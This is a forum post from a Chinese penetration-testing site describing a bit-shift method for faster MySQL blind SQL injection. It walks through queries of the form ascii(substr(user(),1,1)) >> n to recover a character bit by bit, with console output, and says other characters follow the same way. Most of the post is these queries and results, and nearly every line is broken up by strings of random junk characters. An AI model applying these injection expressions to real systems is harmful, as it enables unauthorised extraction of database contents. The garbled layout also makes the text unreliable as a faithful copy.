中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
' O! G/ \7 |* m/ p/ V! i3 C/ p
# r" S& l" M: u7 W  m
5 g' w: ~" m, H6 z: |6 i& ~4 s* c( ?! o7 W: Q/ B% j
下面将以查询mysql数据库当中user()的第一位为例:$ h* A5 b5 i  X; y
4 O' P  C1 @# a4 R1 O% y( I
2 |" v! B$ f5 w
- P( O0 f. D4 X4 e* q/ U
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
' e9 T6 `8 N; e7 _! k
& {7 K! J0 X' g/ ]
9 O' D3 d# C2 F3 ?& K6 \3 W4 q+ L
! ?# g0 x+ |0 I& L) q" `1 G* G首先执行如下sql语句:; k% P) o6 }" s+ W
" l. |9 F0 {3 [! J

' |+ m4 h+ a! X/ F: B+ ^  d
; x5 @- P, [3 f* j' A& |3 emysql> select (ascii((substr(user(),1,1))) >> 7)=0;
! E7 }) Y3 l5 X: c1 v& ^# ^- i0 J% z) d/ j

% ?: J+ I$ K5 g  o) `$ X2 m. `  ?
% y6 Q6 G9 U9 H我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
& {' H* N& X8 _8 P. [8 h. y4 u* E+ `
5 E# g" {, z+ f& R
4 J" B' b. C& j6 ^! }* E
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为14 m, d8 F6 F3 `' }* l. b$ s

# Z! E- d  i5 m; a
$ j8 }9 ?$ S/ H+ P5 c5 g: b
: Y% Q4 r0 g: R, g6 k( [! \; D! h, e如果运算结果为1,说明第一位为0,不为16 e$ A. h! j$ M6 B( x( d
0 e& n/ H8 \: o: Y- v. c
! a, C5 ]  f% p3 {7 A' x

; R9 v! c6 D+ D! p& V- m, U+————————————–+
  i0 f2 i/ R0 p/ B  \. W$ S9 P( x" n' ]
| (ascii((substr(user(),1,1))) >> 7)=0 |5 a  u) h5 F5 }$ w$ |
8 Q. U" G! `9 |) Q
+————————————–+8 |# ]) s2 {$ W3 y2 g  r
9 |2 O0 H/ I( B6 [- _
| 1 |0 g* @" T, j; x' }( b# ?
8 w6 J" k  a# j3 w) ]9 b
+————————————–+
, `; S9 W& z4 C# \0 t& K# Z! d0 F3 e: G& O9 f; [6 X
1 row in set (0.00 sec)( k* k  [9 [/ a8 c
3 h0 w- x  I& \$ G) h$ H3 X: ]
这样我们就确定这个8bit的ascii的第一位为0) }  t0 G- t3 Q0 Z

+ }9 i& _  T: ^5 O4 f' ? 3 o) L! N$ X6 {2 `; |6 T; ~; s, T

- X$ I2 \$ X  _第二次我们来做6次右偏移来确定前两位
- K1 a- b9 L$ K" c/ e
  M% k  d5 W# b# Y
* R& P5 s3 t# l+ ~6 o6 x, [- ^0 u
: K. K% g4 m9 b  P7 P前两位可能是01或00,即依然可以与0做比较,
8 \7 Y. a" S. Q" O6 q- M  b) G% p8 Z8 @2 g( u7 Q8 ]  m3 H! j6 J. ]
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
' K* ?5 S' G8 J  O  G/ @7 d$ f3 B+ ?/ d! B
+————————————–+( N4 [- z! E- E( G

$ V  u- k" V9 _| (ascii((substr(user(),1,1))) >> 6)=0 |* [5 Y  e3 B' P- p; E- _
8 Y+ v/ k5 {& x
+————————————–+9 P; R0 `7 M+ X# B3 r

: o& B& m: C1 Z$ j| 0 |
1 D0 m3 w% Z4 a% }9 h- `  `9 G4 z
+————————————–+
# b& a; M3 O7 V
# V* H7 D1 z5 ]8 a1 row in set (0.00 sec)/ r9 L  ^6 v7 d1 a) {

) u& |$ o/ P% \- Q+ K8 O+ W 3 \) U% o8 l, `- \

8 m+ K  M/ B) K8 c结果为0,即第二位为16 p$ B1 x4 a9 [+ k  G
' C* Z/ h! b3 {) i+ d# e& L. w

8 s. ~1 E5 F. c4 }3 @" b: ^7 _% ^& I. E0 V  i; L& h
开始猜测前三位为010或011
. U6 e. I2 h* {+ J9 i' q( j+ I& T) J& W# j. @8 d; p
$ D. ~2 G) P9 Q
, g+ w  M6 h9 j
让我们看看010和011的ascii码是多少! a/ ^6 F4 c$ v3 i
4 M2 I3 G$ g. W: ]( _: g
6 |9 r' s  Y8 A: b7 f  {6 y- P( j* X' C

; P& B# O: y/ ]! a" D分别查询select b’011′ select b’010′
+ d9 g2 e2 Y( b8 V: F; V
* }0 C) ?8 ~  S5 @2 J  N1 X
! U9 \- |" Q+ J0 I& ?$ y" z. K8 l1 L' t: b" Q. q+ j$ f
获得结果 010 = 2 011 = 3" i1 p; b7 Q3 x- v% C7 v6 D
. f3 Z" _7 m2 L5 Y- l$ Z- O: A

. ~* H" ~: }. x9 y8 A' K0 q
6 J0 Q. _0 ]3 G* G执行如下sql:
2 D$ m! H: l' Y4 s% M" T* Y
! m" G. e% _. p& K7 g) a0 U5 E
( P+ I5 Y* ^0 z( K' |& v1 F; x% Z% V! |
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
# t- W. |, v" L3 j- P9 d1 x/ ?$ E. Q0 p# Y, e
+————————————–+
+ B7 @3 t. q* U! M4 Y* \) ?: }; q
| (ascii((substr(user(),1,1))) >> 5)=2 |
7 {  x3 j8 `  S4 n% }' s) f, u, N- m' ]3 a: {- v
+————————————–+8 O& Q- w; h2 Z9 ~; t  N, [; a
- O4 w" J3 a( s
| 0 |
) |, k8 x4 q0 v# Z/ r- O* t; B$ ~; F3 t( n/ ^
+————————————–+
: y5 ^0 J  U' S$ F) K; y( a$ ^' }" N5 c  ~% i, ^2 F8 _+ V
即前三位不为010,而是011/ e/ X- G- G. [+ V6 Y
5 v; i! N$ k" \- U* l
! _5 W7 a; r9 C& y

  n8 f% {7 X+ q' e. L& f直到获得最后一位
! `# R+ I! j6 \: R' x+ g& l9 l, h/ `) u

: ]0 b* v: z8 j6 Q$ \% K  I7 F8 N3 o2 B6 J9 Z
最终结果为:01110010
7 v* e( o" w8 Q1 X2 a- [: z
" x0 A7 m: T8 K/ }0 w( T3 _ 9 m% r/ s/ t) B6 N1 v- b+ v
+ l9 N/ G3 C% D8 q" W% w' F* @
转换一下:
2 p6 P2 U% h. r* U  ^2 P
" k5 ?' ^9 L8 v7 `" L$ D + u! U+ I- W, `# P" P% q) l
  O  E: F/ w' W
select b’01110010′
0 k; Z  E3 J. H# F
: C' W& k- L. h' Z . {* J" c, e$ Y+ z
# n' c5 H  Y# |. k4 U
查询结果9 s& u3 ]% U; g1 ?3 x; Y

* o" ~2 H$ e/ k
" n# s0 \* p( q) B, v4 [& v2 O# ~2 r) C& E: X( \; `, H
+————-+% [0 I' ?/ R8 A: m7 Y

4 r5 g. @; M1 F# D7 ?9 m| b’01110010′ |% `) O7 _4 J4 P) v7 T

) E2 A. j4 {) }2 l4 ~8 C( s+————-+
/ ^5 D" q. n' t$ B7 ^4 b- @
2 l8 ?6 }& y0 z; h  k| r |
* B4 j0 }  X9 f/ ?# N" _8 h( J! Y4 S7 f8 m* a  M+ C; h. @
+————-+" V: s  A7 v5 t' A2 d
  R9 O  Z) ?0 v& U4 h) M
1 row in set (0.00 sec)
+ u( Q1 ]* n6 ]0 d9 K1 N; G/ C$ f% b: J" M: H; R8 ~( L4 u" Q4 V

/ S0 I1 Y: O( f7 D- O
6 l/ i4 {9 Z1 z  [0 T这样我们就获得了user()的第一位.其它位依此类推
* F4 y5 d( K6 w' E: x# ?2 f: c
& Y" J! Z" N5 q# }5 d




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2